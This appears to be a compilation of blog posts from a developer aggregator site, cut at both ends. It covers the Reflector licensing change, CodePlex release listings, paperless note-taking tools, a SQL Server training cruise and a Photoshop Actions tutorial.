and a half years back when they aquired Reflector from Lutz with the same arrogant attitude that is evident in the latest episode. You really gotta wonder what folks are thinking in management – the sad part is from advance emails that were circulating, they were fully aware of the shit storm they were inciting with this and I suspect they are banking on the sheer numbers of .NET developers to still make them a tidy chunk of change from upgrades… Alternatives are coming For me personally the single license isn’t a problem, but I actually have a tool that I sell (an interop Web Service proxy generation tool) to customers and one of the things I recommend to use with has been Reflector to view assembly information and to find which Interop classes to instantiate from the non-.NET environment. It’s been nice to use Reflector for this with its small footprint and zero-configuration installation. But now with V7 becoming a paid tool that option is not going to be available anymore. Luckily it looks like the .NET community is jumping to it and trying to fill the void. Amidst the Red Gate outrage a new library called ILSpy has sprung up and providing at least some of the core functionality of Reflector with an open source library. It looks promising going forward and I suspect there will be a lot more support and interest to support this project now that Reflector has gone over to the ‘dark side’…© Rick Strahl, West Wind Technologies, 2005-2011

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• CodePlex Daily Summary for Sunday, December 05, 2010

  CodePlex Daily Summary for Sunday, December 05, 2010Popular ReleasesSubtitleTools: SubtitleTools 1.0: First public releaseMiniTwitter: 1.62: MiniTwitter 1.62 ???? ?? ??????????????????????????????????????? 140 ?????????????????????????? ???????????????????????????????? ?? ??????????????????????????????????Phalanger - The PHP Language Compiler for the .NET Framework: 2.0 (December 2010): The release is targetted for stable daily use. With improved performance and enhanced compatibility with several latest PHP open source applications; it makes this release perfect replacement of your old PHP runtime. Changes made within this release include following and much more: Performance improvements based on real-world applications experience. We determined biggest bottlenecks and we found and removed overheads causing performance problems in many PHP applications. Reimplemented nat...Chronos WPF: Chronos v2.0 Beta 3: Release notes: Updated introduction document. Updated Visual Studio 2010 Extension (vsix) package. Added horizontal scrolling to the main window TaskBar. Added new styles for ListView, ListViewItem, GridViewColumnHeader, ... Added a new WindowViewModel class (allowing to fetch data). Added a new Navigate method (with several overloads) to the NavigationViewModel class (protected). Reimplemented Task usage for the WorkspaceViewModel.OnDelete method. Removed the reflection effect...MDownloader: MDownloader-0.15.26.7024: Fixed updater; Fixed MegauploadDJ - jQuery WebControls for ASP.NET: DJ 1.2: What is new? Update to support jQuery 1.4.2 Update to support jQuery ui 1.8.6 Update to Visual Studio 2010 New WebControls with samples added Autocomplete WebControl Button WebControl ToggleButt WebControl The example web site is including in source code project.LateBindingApi.Excel: LateBindingApi.Excel Release 0.7g: Unterschiede zur Vorgängerversion: - Zusätzliche Interior Properties - Group / Ungroup Methoden für Range - Bugfix COM Reference Handling für Application Objekt in einigen Klassen Release+Samples V0.7g: - Enthält Laufzeit DLL und Beispielprojekte Beispielprojekte: COMAddinExample - Demonstriert ein versionslos angebundenes COMAddin Example01 - Background Colors und Borders für Cells Example02 - Font Attributes undAlignment für Cells Example03 - Numberformats Example04 - Shapes, WordArts, P...ESRI ArcGIS Silverlight Toolkit: November 2010 - v2.1: ESRI ArcGIS Silverlight Toolkit v2.1 Added Windows Phone 7 build. New controls added: InfoWindow ChildPage (Windows Phone 7 only) See what's new here full details for : http://help.arcgis.com/en/webapi/silverlight/help/#/What_s_new_in_2_1/016600000025000000/ Note: Requires Visual Studio 2010, .NET 4.0 and Silverlight 4.0.ASP .NET MVC CMS (Content Management System): Atomic CMS 2.1.1: Atomic CMS 2.1.1 release notes Atomic CMS installation guide Winware: Winware 3.0 (.Net 4.0): Winware 3.0 is base on .Net 4.0 with C#. Please open it with Visual Studio 2010. This release contains a lab web application.UltimateJB: UltimateJB 2.02 PL3 KAKAROTO + CE-X-3.41 EvilSperm: Voici une version attendu avec impatience pour beaucoup : - La Version CEX341 pour pouvoir jouer avec des jeux demandant le firmware 3.50 ( certain ne fonctionne tous simplement pas ). - Pour l'instant le CEX341 n'est disponible qu'avec les PS3 en firmwares 3.41 !!! - La version PL3 KAKAROTO intégre ses dernières modification et intégre maintenant le firmware 3.30 !!! Conclusion : - UltimateJB CEX341 => Spoof le Firmware 3.41 en 3.50 ( facilite l'utilisation de certain jeux avec openManage...Free Silverlight & WPF Chart Control - Visifire: Visifire SL and WPF Charts v3.6.5 beta Released: Hi, Today we are releasing Visifire 3.6.5 beta with the following new feature: New property AutoFitToPlotArea has been introduced in DataSeries. AutoFitToPlotArea will bring bubbles inside the PlotArea in order to avoid clipping of bubbles in bubble chart. Also this release includes few bug fixes: AxisXLabel label were getting clipped if angle was set for AxisLabels and ScrollingEnabled was not set in Chart. If LabelStyle property was set as 'Inside', size of the Pie was not proper. Yo...EnhSim: EnhSim 2.1.1: 2.1.1This release adds in the changes for 4.03a. To use this release, you must have the Microsoft Visual C++ 2010 Redistributable Package installed. This can be downloaded from http://www.microsoft.com/downloads/en/details.aspx?FamilyID=A7B7A05E-6DE6-4D3A-A423-37BF0912DB84 To use the GUI you must have the .NET 4.0 Framework installed. This can be downloaded from http://www.microsoft.com/downloads/en/details.aspx?FamilyID=9cfb2d51-5ff4-4491-b0e5-b386f32c0992 - Switched Searing Flames bac...AI: Initial 0.0.1: It’s simply just one code file; it simulates AI and machine in a simulated world. The AI has a little understanding of its body machine and parts, and able to use its feet to do actions just start and stop walking. The world is all of white with nothing but just the machine on a white planet. Colors, odors and position information make no sense. I’m previous C# programmer and I’m learning F# during this project, although I’m still not a good F# programmer, in this project I learning to prog...NKinect: NKinect Preview: Build features: Accelerometer reading Motor serial number property Realtime image update Realtime depth calculation Export to PLY (On demand) Control motor LED Control Kinect tiltMicrosoft - Domain Oriented N-Layered .NET 4.0 App Sample (Microsoft Spain): V1.0 - N-Layer DDD Sample App .NET 4.0: Required Software (Microsoft Base Software needed for Development environment) Visual Studio 2010 RTM & .NET 4.0 RTM (Final Versions) Expression Blend 4 SQL Server 2008 R2 Express/Standard/Enterprise Unity Application Block 2.0 - Published May 5th 2010 http://www.microsoft.com/downloads/en/details.aspx?FamilyID=2D24F179-E0A6-49D7-89C4-5B67D939F91B&displaylang=en http://unity.codeplex.com/releases/view/31277 PEX & MOLES 0.94.51023.0, 29/Oct/2010 - Visual Studio 2010 Power Tools http://re...Sense/Net Enterprise Portal & ECMS: SenseNet 6.0.1 Community Edition: Sense/Net 6.0.1 Community Edition This half year we have been working quite fiercely to bring you the long-awaited release of Sense/Net 6.0. Download this Community Edition to see what we have been up to. These months we have worked on getting the WebCMS capabilities of Sense/Net 6.0 up to par. New features include: New, powerful page and portlet editing experience. HTML and CSS cleanup, new, powerful site skinning system. Upgraded, lightning-fast indexing and query via Lucene. Limita...Minecraft GPS: Minecraft GPS 1.1.1: New Features Compass! New style. Set opacity on main window to allow overlay of Minecraft. Open World in any folder. Fixes Fixed style so listbox won't grow the window size. Fixed open file dialog issue on non-vista kernel machines.DotSpatial: DotSpatial 11-28-2001: This release introduces some exciting improvements. Support for big raster, both in display and changing the scheme. Faster raster scheme creation for all rasters. Caching of the "sample" values so once obtained the raster symbolizer dialog loads faster. Reprojection supported for raster and image classes. Affine transform fully supported for images and rasters, so skewed images are now possible. Projection uses better checks when loading unprojected layers. GDAL raster support f...SuperWebSocket: SuperWebSocket(60438): It is the first release of SuperWebSocket. Because it is base on SuperSocket, most features of SuperSocket are supported in SuperWebSocket. The source code include a LiveChat demo.New ProjectsBambook???: ????Bambook???????。Beespot: Beespot is an easy to use, secure, robust and powerful Honeypot for the SSH Service written in Python. caitanzhangDemo: this is my demoColorPicker [SA:MP]: ColorPicker [SA:MP] is a simple tool that generates: - PAWN Hex Color Codes (useful for SAMP Scripts); - ARGB Color Codes; - HTML Color Codes; It's developed in C#.Conversions-n-Stuff: Conversions-n-Stuff (CNS) is a program focused on making it easier for anyone to convert from one measurement to another. There is no need to know the calculations and formulas! Just fill in the forms and click, and you have your answer! CNS leverages C#, WPF, and Silverlight.dotP2P: dotP2P would consist of servers running caches to keep track of domain and nameserver records. Cache servers can be created with any server that supports XML-RPC or SOAP. MySQL is used to store the the cache data. EmailMasterTemplate: This user master and child user control based email template engine.Ezekiel: Ezekiel is a Windows application that leverages a user's existing BusinessObjects reports to provide a custom read-only front end for a database. It's developed using Visual C# 2010 Express.F# Colorizer Editor: Standalone Colorizer Editor for Brian's Fsharp Deep Colorizer VS ExtensionGameCore: Core engine for game services for mobile and RIA clientsGestão de contas bancárias: Trabalho final de Matematica Aplicada da UATLAGPP: GPPkmean: Kmeans ClusteringPHP ORM: ??????orm???，??PHP????，??????????????！Steampunk Odyssey: Steampunk Odyssey is a side-scrolling action game based on the XNA platformSubtitleTools: SubtitleTools is a small utility that helps modifying existing subtitles or downloading new ones based on the digital signatures of your movie files from opensubtitles.org site.Windows Phone 7 Accelerometer: Accelerometer for Windows Phone 7???: ????????????????????????

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• Going Paperless

  - by Jesse

  One year ago I came to work for a company where the entire development team is 100% “remote”; we’re spread over 3 time zones and each of us works from home. This seems to be an increasingly popular way for people to work and there are many articles and blog posts out there enumerating the advantages and disadvantages of working this way. I had read a lot about telecommuting before accepting this job and felt as if I had a pretty decent idea of what I was getting into, but I’ve encountered a few things over the past year that I did not expect. Among the most surprising by-products of working from home for me has been a dramatic reduction in the amount of paper that I use on a weekly basis. Hoarding In The Workplace Prior to my current telecommute job I worked in what most would consider pretty traditional office environments. I sat in cubicles furnished with an enormous plastic(ish) modular desks, had a mediocre (at best) PC workstation, and had ready access to a seemingly endless supply of legal pads, pens, staplers and paper clips. The ready access to paper, countless conference room meetings, and abundance of available surface area on my desk and in drawers created a perfect storm for wasting paper. I brought a pad of paper with me to every meeting I ever attended, scrawled some brief notes, and then tore that sheet off to keep next to my keyboard to follow up on any needed action items. Once my immediate need for the notes was fulfilled, that sheet would get shuffled off into a corner of my desk or filed away in a drawer “just in case”. I would guess that for all of the notes that I ever filed away, I might have actually had to dig up and refer to 2% of them (and that’s probably being very generous). That said, on those rare occasions that I did have to dig something up from old notes, it was usually pretty important and I ended up being very glad that I saved them. It was only when I would leave a job or move desks that I would finally gather all those notes together and take them to shredding bin to be disposed of. When I left my last job the amount of paper I had accumulated over my three years there was absurd, and I knew coworkers who had substance-abuse caliber paper wasting addictions that made my bad habit look like nail-biting in comparison. A Product Of My Environment I always hated using all of this paper, but simply couldn’t bring myself to stop. It would look bad if I showed up to an important conference room meeting without a pad of paper. What if someone said something profound! Plus, everyone else always brought paper with them. If you saw someone walking down the hallway with a pad of paper in hand you knew they must be on their way to a conference room meeting. Some people even had fancy looking portfolio notebook sheaths that gave their legal pads all the prestige of a briefcase. No one ever worried about running out of fresh paper because there was an endless supply, and there certainly was no shortage of places to store and file used paper. In short, the traditional office was setup for using tons and tons of paper; it’s baked into the culture there. For that reason, it didn’t take long for me to kick the paper habit once I started working from home. In my home office, desk and drawer space are at a premium. I don’t have the budget (or the tolerance) for huge modular office furniture in my spare bedroom. I also no longer have access to a bottomless pit of office supplies stock piled in cabinets and closets. If I want to use some paper, I have to go out and buy it. Finally (and most importantly), all of the meetings that I have to attend these days are “virtual”. We use instant messaging, VOIP, video conferencing, and e-mail to communicate with each other. All I need to take notes during a meeting is my computer, which I happen to be sitting right in front of all day. I don’t have any hard numbers for this, but my gut feeling is that I actually take a lot more notes now than I ever did when I worked in an office. The big difference is I don’t have to use any paper to do so. This makes it far easier to keep important information safe and organized. The Right Tool For The Job When I first started working from home I tried to find a single application that would fill the gap left by the pen and paper that I always had at my desk when I worked in an office. Well, there are no silver bullets and I’ve evolved my approach over time to try and find the best tool for the job at hand. Here’s a quick summary of how I take notes and keep everything organized. Notepad++ – This is the first application I turn to when I feel like there’s some bit of information that I need to write down and save. I use Launchy, so opening Notepad++ and creating a new file only takes a few keystrokes. If I find that the information I’m trying to get down requires a more sophisticated application I escalate as needed. The Desktop – By default, I save every file or other bit of information to the desktop. Anyone who has ever had to fix their parents computer before knows that this is a dangerous game (any file my mother has ever worked on is saved directly to the desktop and rarely moves anywhere else). I agree that storing things on the desktop isn’t a great long term approach to keeping organized, which is why I treat my desktop a bit like my e-mail inbox. I strive to keep both empty (or as close to empty as I possibly can). If something is on my desktop, it means that it’s something relevant to a task or project that I’m currently working on. About once a week I take things that I’m not longer working on and put them into my ‘Notes’ folder. The ‘Notes’ Folder – As I work on a task, I tend to accumulate multiple files associated with that task. For example, I might have a bit of SQL that I’m working on to gather data for a new report, a quick C# method that I came up with but am not yet ready to commit to source control, a bulleted list of to-do items in a .txt file, etc. If the desktop starts to get too cluttered, I create a new sub-folder in my ‘Notes’ folder. Each sub-folder’s name is the current date followed by a brief description of the task or project. Then all files related to that task or project go into that sub folder. By using the date as the first part of the folder name, these folders are automatically sorted in reverse chronological order. This means that things I worked on recently will generally be near the top of the list. Using the built-in Windows search functionality I now have a pretty quick and easy way to try and find something that I worked on a week ago or six months ago. Dropbox – Dropbox is a free service that lets you store up to 2GB of files “in the cloud” and have those files synced to all of the different computers that you use. My ‘Notes’ folder lives in Dropbox, meaning that it’s contents are constantly backed up and are always available to me regardless of which computer I’m using. They also have a pretty decent iPhone application that lets you browse and view all of the files that you have stored there. The free 2GB edition is probably enough for just storing notes, but I also pay $99/year for the 50GB storage upgrade and keep all of my music, e-books, pictures, and documents in Dropbox. It’s a fantastic service and I highly recommend it. Evernote – I use Evernote mostly to organize information that I access on a fairly regular basis. For example, my Evernote account has a running grocery shopping list, recipes that my wife and I use a lot, and contact information for people I contact infrequently enough that I don’t want to keep them in my phone. I know some people that keep nearly everything in Evernote, but there’s something about it that I find a bit clunky, so I tend to use it sparingly. Google Tasks – One of my biggest paper wasting habits was keeping a running task-list next to my computer at work. Every morning I would sit down, look at my task list, cross off what was done and add new tasks that I thought of during my morning commute. This usually resulted in having to re-copy the task list onto a fresh sheet of paper when I was done. I still keep a running task list at my desk, but I’ve started using Google Tasks instead. This is a dead-simple web-based application for quickly adding, deleting, and organizing tasks in a simple checklist style. You can quickly move tasks up and down on the list (which I use for prioritizing), and even create sub-tasks for breaking down larger tasks into smaller pieces. Balsamiq Mockups – This is a simple and lightweight tool for creating drawings of user interfaces. It’s great for sketching out a new feature, brainstorm the layout of a interface, or even draw up a quick sequence diagram. I’m terrible at drawing, so Balsamiq Mockups not only lets me create sketches that other people can actually understand, but it’s also handy because you can upload a sketch to a common location for other team members to access. I can honestly say that using these tools (and having limited resources at home) have lead me to cut my paper usage down to virtually none. If I ever were to return to a traditional office workplace (hopefully never!) I’d try to employ as many of these applications and techniques as I could to keep paper usage low. I feel far less cluttered and far better organized now.

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• SQL Cruise Alaska 2011

  - by Grant Fritchey

  I had the extreme good fortune to get sent on the last SQL Cruise to Alaska. I love my job. In case you don't what this is, SQL Cruise is a trip on a cruise ship during which you get to attend classes while on the boat, learning all about SQL Server and related topics as well as network with the instructors and the other Cruisers. Frankly, it's amazing. Classes ran from Monday, 5/30, to Saturday, 6/4. The networking was constant, between classes, at night on cruise ship, out on excursions in Alaskan rainforests and while snorkeling in ocean waters. Here's a run down of the experience from my point of view. Because I couldn't travel out 2 days early, I missed the BBQ that occurred the day before the cruise when many of the Cruisers received their swag bags. Some of that swag came from Red Gate. I researched what was useful on a cruise like this and purchased small flashlights and binoculars for all the Cruisers. The flashlights were because, depending on your cabin, ships can be very dark. The binoculars were so that the cruisers could watch all the beautiful landscape as it flowed by. I would have liked to have been there when the bags were opened, but I heard from several people that they appreciated the gifts. Cruisers "In" the hot tub. Pictured: Marjory Woody, Michele Grondin, Kyle Brandt, Grant Fritchey, John Halunen Sunday I went to board the ship with my wife. We had a bit of an adventure because I messed up our documents. It all worked out and we got on board to meet up at the back of the boat at one of the outdoor bars with the other Cruisers, thanks to tweets letting everyone know where to go. That was the end of electronic coordination on the trip (connectivity in Alaska was horrible for everyone except AT&T). The Cruisers were a great bunch of people and it was a real honor to meet them and get to spend time with them. After everyone settled into their cabins, our very first activity was a contest, sponsored by Red Gate. The Cruisers, in an effort to get to know each other and the ship, were required to go all over taking various photographs, some of them hilarious. The winning team of three would all win prizes. Some of the significant others helped out and I tagged along with a team that tied for first but lost the coin toss. The winning team consisted of Christina Leo (blog|twitter), Ryan Malcom (twitter), Neil Hambly (blog|twitter). They then had to do math and identify the cabin with the lowest prime number, oh, and get a picture of it and be the first to get back up to the bar where we were waiting. Christina came in first and very happily carried home an Ipad2. Ryan won a 1TB portable hard drive and Neil won a wireless mouse (picture below, note my special SQL Server Central Friday Shirt. Thanks Steve (blog|twitter)). Winners: Christina Leo, Neil Hambly, Ryan Malcolm. Just Lucky: Grant Fritchey Monday morning classes started. Buck Woody (blog|twitter) was a special guest speaker on this cruise. His theme was "Three C's on the High Seas: Career, Communication and Cloud." The first session was all on Career. I'm not going to type out all my notes from the session, but let's just say, if you get the chance to hear Buck talk about how to manage your career, I suggest you attend. I have a ton of blog posts that I'll be putting together over the next several months (yes, months) both here and over on ScaryDBA. I also have a bunch of work I'm going to be doing to get my career performance bumped up a notch or two (and let's face it, that won't be easy). Later on Monday, Tim Ford (blog|twitter) did a session on DMOs. Specifically the session was on Tim's Period Table of DMOs that he has put together, and how to use some of the more interesting DMOs in your day to day job. It was a great session, packed with good information. Next, Brent Ozar (blog|twitter) did a session on how to monitor and guide SAN configuration for the DBA that doesn't have access to the SAN. That was some seriously useful information. Tuesday morning we only had a single class. Kendra Little (blog|twitter) taught us all about "No Lock for Yes Fun".  It was all about the different transaction isolation levels and how they work. There is so often confusion in this area and Kendra does a great job in clarifying the information. Also, she tosses in her excellent drawings to liven up the presentation. Then it was excursion time in Juneau. My wife and I, along with several other Cruisers, took a hike up around the Mendenhall Glacier. It was absolutely beautiful weather and walking through the Alaskan rain forest was a treat. Our guide, Jason, was a great guy and it was a good day of hiking. Wednesday was an all day excursion in Skagway. My wife and I took the "Ghost and Good Time Girls" walking tour that ended up at a bar that used to be a brothel, the Red Onion. It was a great history of the town. We went back out and hit a few museums and exhibits. We also hiked up the side of the mountain to see the Dewey Lake and some great views of the town. Finally we hiked out to the far side of town to see the Gold Rush cemetery. Hiking done we went back to the boat and had a quiet dinner on our own. Thursday we cruised through Glacier Bay and saw at least four different glaciers including sitting next to the Marjory Glacier for  about an hour. It was amazing. Then it got better. We went into class with Buck again, this time to talk about Communication. Again, I've got pages of notes that I'm going to be referring back to for some time to come. This was an excellent opportunity to learn. Snorkelers: Nicole Bertrand, Aaron Bertrand, Grant Fritchey, Neil Hambly, Christina Leo, John Robel, Yanni Robel, Tim Ford Friday we pulled into Ketchikan. A bunch of us went snorkeling. Yes, snorkeling. Yes, in Alaska. Yes, snorkeling in the ocean in Alaska. It was fantastic. They had us put on 7mm thick wet suits (an adventure all by itself) so it was basically warm the entire time we were in the water (except for the occasional squirt of cold water down my back). Before we got in the water a bald eagle flew up and landed about 15 feet in front of us, which was just an incredible event. Then our guide pointed out about 14 other eagles in the area, hanging out in the trees. Wow! The water was pretty clear and there was a ton of things to see. That was absolutely a blast. Back on the boat I presented a session called Execution Plans: The Deep Dive (note the nautical theme). It seemed to go over well and I had several good questions come out of the session that will lead to new blog posts. After I presented, it was Aaron Bertrand's (blog|twitter) turn. He did a session on "What's New in Denali" that provided a lot of great information. He was able to incorporate new things straight out of Tech-Ed, so this was expanded beyond his usual presentation. The man really knows what he's talking about and communicates it well. Saturday we were travelling so there was time for a bunch of classes. Jeremiah Peschka (blog|twitter) did a great overview of some of the NoSQL databases and what they should be used for. The session was called "The Database is Dead" but it was really about how there are specific uses for these databases that SQL Server doesn't fill, but also that these databases can't replace SQL Server in other areas. Again, good material. Brent Ozar presented again with a session on Defensive Indexing. It was an overview of how indexes work and a deep dive into how to apply them appropriately in your databases to better support access. A good session, as you would expect. Then we pulled into Victoria, BC, in Canada and had a nice dinner with several of the Cruisers, including Denny Cherry (blog|twitter). After that it was back to Seattle on Sunday. By the way, the Science Fiction Museum in Seattle isn't a Science Fiction Museum any more. I was very disappointed to discover this. Overall, it was a great experience. I'm extremely appreciative of Red Gate for sending me and for Tim, Brent, Kendra and Jeremiah for having me. The other Cruisers were all amazing people and it was an honor & privilege to meet them and spend time with them. While this was a seriously fun time, it was also a very serious training opportunity with solid information coming from seasoned industry pros.

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• CodePlex Daily Summary for Monday, August 27, 2012

  CodePlex Daily Summary for Monday, August 27, 2012Popular ReleasesHome Access Plus+: v8.0: v8.0827.1800 RELEASE CHANGED TO BETA Any issues, please log them on http://www.edugeek.net/forums/home-access-plus/ This is full release, NO upgrade ZIP will be provided as most files require replacing. To upgrade from a previous version, delete everything but your AppData folder, extract all but the AppData folder and run your HAP+ install Documentation is supplied in the Web Zip The Quota Services require executing a script to register the service, this can be found in there install di...Math.NET Numerics: Math.NET Numerics v2.2.0: Major linear algebra rework since v2.1, now available on Codeplex as well (previous versions were only available via NuGet). Also available as NuGet packages: PM> Install-Package MathNet.Numerics PM> Install-Package MathNet.Numerics.FSharp New: instead of the special Silverlight build we now provide a portable version supporting .Net 4, Silverlight 5 and .Net Core (WinRT) 4.5: PM> Install-Package MathNet.Numerics.PortableMetodología General Ajustada - MGA: 03.00.08: Cambios Aury: Cambios realizados en el reporte de la MGA: Errores en la generación cuando se seleccionan todas las opciones y Que sólo se imprima la información de la alternativa seleccionada para el proyecto. Cambios John: Integración de código con cambios enviados por Aury Niño. Generación de instaladores. Soporte técnico por correo electrónico y telefónico.Phalanger - The PHP Language Compiler for the .NET Framework: 3.0.0.3391 (September 2012): New features: Extended ReflectionClass libxml error handling, constants TreatWarningsAsErrors MSBuild option OnlyPrecompiledCode configuration option; allows to use only compiled code Fixes: ArgsAware exception fix accessing .NET properties bug fix ASP.NET session handler fix for OutOfProc mode Phalanger Tools for Visual Studio: Visual Studio 2010 & 2012 New debugger engine, PHP-like debugging Lot of fixes of project files, formatting, smart indent, colorization etc. Improved ...WatchersNET CKEditor™ Provider for DotNetNuke®: CKEditor Provider 1.14.06: Whats New Added CKEditor 3.6.4 oEmbed Plugin can now handle short urls changes The Template File can now parsed from an xml file instead of js (More Info...) Style Sets can now parsed from an xml file instead of js (More Info...) Fixed Showing wrong Pages in Child Portal in the Link Dialog Fixed Urls in dnnpages Plugin Fixed Issue #6969 WordCount Plugin Fixed Issue #6973 File-Browser: Fixed Deleting of Files File-Browser: Improved loading time File-Browser: Improved the loa...MabiCommerce: MabiCommerce 1.0.1: What's NewSetup now creates shortcuts Fix spelling errors Minor enhancement to the Map window.ScintillaNET: ScintillaNET 2.5.2: This release has been built from the 2.5 branch. Version 2.5.2 is functionally identical to the 2.5.1 release but also includes the XML documentation comments file generated by Visual Studio. It is not 100% comprehensive but it will give you Visual Studio IntelliSense for a large part of the API. Just make sure the ScintillaNET.xml file is in the same folder as the ScintillaNET.dll reference you're using in your projects. (The XML file does not need to be distributed with your application)....TouchInjector: TouchInjector 1.1: Version 1.1: fixed a bug with the autorun optionWinRT XAML Toolkit: WinRT XAML Toolkit - 1.2.0: WinRT XAML Toolkit based on the Windows 8 RTM SDK. Download the latest source from the SOURCE CODE page. For compiled version use NuGet. You can add it to your project in Visual Studio by going to View/Other Windows/Package Manager Console and entering: PM> Install-Package winrtxamltoolkit Features AsyncUI extensions Controls and control extensions Converters Debugging helpers Imaging IO helpers VisualTree helpers Samples Recent changes NOTE: Namespace changes DebugConsol...BlackJumboDog: Ver5.7.1: 2012.08.25 Ver5.7.1 (1)?????·?????LING?????????????? (2)SMTP???（????）????、?????\?????????????????????Christoc's DotNetNuke Module Development Template: 00.00.09 for DNN6: Probably the final VS2010 Release as I have some new VS2012 templates coming. BEFORE USE YOU need to install the MSBuild Community Tasks available from https://github.com/loresoft/msbuildtasks/downloads For best results you should configure your development environment as described in this blog post Then read this latest blog post about customizing and using these custom templates. Installation is simple To use this template place the ZIP (not extracted) file in your My Documents\Visual ...Visual Studio Team Foundation Server Branching and Merging Guide: v2 - Visual Studio 2012: Welcome to the Branching and Merging Guide Quality-Bar Details Documentation has been reviewed by Visual Studio ALM Rangers Documentation has been through an independent technical review Documentation has been reviewed by the quality and recording team All critical bugs have been resolved Known Issues / Bugs Spelling, grammar and content revisions are in progress. Hotfix will be published.Microsoft Ajax Minifier: Microsoft Ajax Minifier 4.62: Fix for issue #18525 - escaped characters in CSS identifiers get double-escaped if the character immediately after the backslash is not normally allowed in an identifier. fixed symbol problem with nuget package. 4.62 should have nuget symbols available again. Also want to highlight again the breaking change introduced in 4.61 regarding the renaming of the DLL from AjaxMin.dll to AjaxMinLibrary.dll to fix strong-name collisions between the DLL and the EXE. Please be aware of this change and...nopCommerce. Open source shopping cart (ASP.NET MVC): nopcommerce 2.65: As some of you may know we were planning to release version 2.70 much later (the end of September). But today we have to release this intermediate version (2.65). It fixes a critical issue caused by a third-party assembly when running nopCommerce on a server with .NET 4.5 installed. No major features have been introduced with this release as our development efforts were focused on further enhancements and fixing bugs. To see the full list of fixes and changes please visit the release notes p...MyRouter (Virtual WiFi Router): MyRouter 1.2.9: . Fix: Some missing changes for fixing the window subclassing crash. · Fix: fixed bug when Run MyRouter at the first Time. · Fix: Log File · Fix: improve performance speed application · fix: solve some Exception.TFS Project Test Migrator: TestPlanMigration v1.0.0: Release 1.0.0 This first version do not create the test cases in the target project because the goal was to restore a Test Plan + Test Suite hierarchy after a manual user deletion without restoring all the Project Collection Database. As I discovered, deleting a Test Plan will do the following : - Delete all TestSuiteEntry (the link between a Test Suite node and a Test Case) - Delete all TestSuite (the nodes in the test hierarchy), including root TestSuite - Delete the TestPlan Test c...ERPStore eCommerce FrontOffice: ERPStore.Core V4.0.0.2 MVC4 RTM: ERPStore.Core V4.0.0.2 MVC4 RTM (Code Source)ZXing.Net: ZXing.Net 0.8.0.0: sync with rev. 2393 of the java version improved API, direct support for multiple barcode decoding, wrapper for barcode generating many other improvements and fixes encoder and decoder command line clients demo client for emguCV dev documentation startedMFCMAPI: August 2012 Release: Build: 15.0.0.1035 Full release notes at SGriffin's blog. If you just want to run the MFCMAPI or MrMAPI, get the executables. If you want to debug them, get the symbol files and the source. The 64 bit builds will only work on a machine with Outlook 2010 64 bit installed. All other machines should use the 32 bit builds, regardless of the operating system. Facebook BadgePulse: Pulse Beta 5: Whats new in this release? Well to start with we now have Wallbase.cc Authentication! so you can access favorites or NSFW. This version requires .NET 4.0, you probably already have it, but if you don't it's a free and easy download from Microsoft. Pulse can bet set to start on Windows startup now too. The Wallpaper setter has settings now, so you can change the background color of the desktop and the Picture Position (Tile/Center/Fill/etc...) I've switched to Windows Forms instead of WPF...New ProjectsAStar Sample WPF Application by Ben Scharbach: The A* Pathfinding component contains an A* Manager, with three A* path finding engines, allowing for 3 simultaneous path searches on PC and XBOX. - By BenContactor: Programs and Schematics for sending a Short Message Service from a computer.JCI Page: gfdsgfdsgfdsL-Calc: Przykladowy kalkulator liczacy indukcyjnosc poprzez odczyt czestotliwosci obwodu rezonansowego.LibXmlSocket: XmlSocket LibraryNavegar: WPF Navigation pour MVVM Light et SimpleIocNUnit Comparisons: A set of libraries which extend the NUnit constraint framework to support deeper comparisons and report detailed differences useful to test debugging. ORMAC: ORMAC is a micro .NET ORM PersonalDataCenter: PDCNet1Project WarRoom: An experimental chatroom jQuery widget for instant messaging functionality on web applications.Quantum.Net: Quantum.Net is a free computation library developp in C#. Contains some mathematics functions and physical element.Specification Framework: A small framework to get started with a type safe variation of the specification pattern.Sphere Community: Sphere Community Pack 2.0TouchInjector: Generate Windows 8 Touch from TUIO messages.

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• How To Make Hundreds of Complex Photo Edits in Seconds With Photoshop Actions

  - by Eric Z Goodnight

  Have a huge folder of images needing tweaks? A few hundred adjustments may seem like a big, time consuming job—but read one to see how Photoshop can do repetitive tasks automatically, even if you don’t know how to program! Photoshop Actions are a simple way to program simple routines in Photoshop, and are a great time saver, allowing you to re-perform tasks over and over, saving you minutes or hours, depending on the job you have to work on. See how any bunch of images and even some fairly complicated photo tweaking can be done automatically to even hundreds of images at once. When Can I use Photoshop Actions? Photoshop actions are a way of recording the tools, menus, and keys pressed while using the program. Each time you use a tool, adjust a color, or use the brush, it can be recorded and played back over any file Photoshop can open. While it isn’t perfect and can get very confused if not set up correctly, it can automate editing hundreds of images, saving you hours and hours if you have big jobs with complex edits. The image illustrated above is a template for a polaroid-style picture frame. If you had several hundred images, it would actually be a simple matter to use Photoshop Actions to create hundreds of new images inside the frame in almost no time at all. Let’s take a look at how a simple folder of images and some Image editing automation can turn lots of work into a simple and easy job. Creating a New Action Actions is a default part of the “Essentials” panel set Photoshop begins with as a default. If you can’t see the panel button under the “History” button, you can find Actions by going to Window > Actions or pressing Alt + F9. Click the in the Actions Panel, pictured in the previous illustration on the left. Choose to create a “New Set” in order to begin creating your own custom Actions. Name your action set whatever you want. Names are not relevant, you’ll simply want to make it obvious that you have created it. Click OK. Look back in the layers panel. You’ll see your new Set of actions has been added to the list. Click it to highlight it before going on. Click the again to create a “New Action” in your new set. If you care to name your action, go ahead. Name it after whatever it is you’re hoping to do—change the canvas size, tint all your pictures blue, send your image to the printer in high quality, or run multiple filters on images. The name is for your own usage, so do what suits you best. Note that you can simplify your process by creating shortcut keys for your actions. If you plan to do hundreds of edits with your actions, this might be a good idea. If you plan to record an action to use every time you use Photoshop, this might even be an invaluable step. When you create a new Action, Photoshop automatically begins recording everything you do. It does not record the time in between steps, but rather only the data from each step. So take your time when recording and make sure you create your actions the way you want them. The square button stops recording, and the circle button starts recording again. With these basics ready, we can take a look at a sample Action. Recording a Sample Action Photoshop will remember everything you input into it when it is recording, even specific photographs you open. So begin recording your action when your first photo is already open. Once your first image is open, click the record button. If you’re already recording, continue on. Using the File > Place command to insert the polaroid image can be easier for Actions to deal with. Photoshop can record with multiple open files, but it often gets confused when you try it. Keep your recordings as simple as possible to ensure your success. When the image is placed in, simply press enter to render it. Select your background layer in your layers panel. Your recording should be following along with no trouble. Double click this layer. Double clicking your background layer will create a new layer from it. Allow it to be renamed “Layer 0” and press OK. Move the “polaroid” layer to the bottom by selecting it and dragging it down below “Layer 0” in the layers panel. Right click “Layer 0” and select “Create Clipping Mask.” The JPG image is cropped to the layer below it. Coincidentally, all actions described here are being recorded perfectly, and are reproducible. Cursor actions, like the 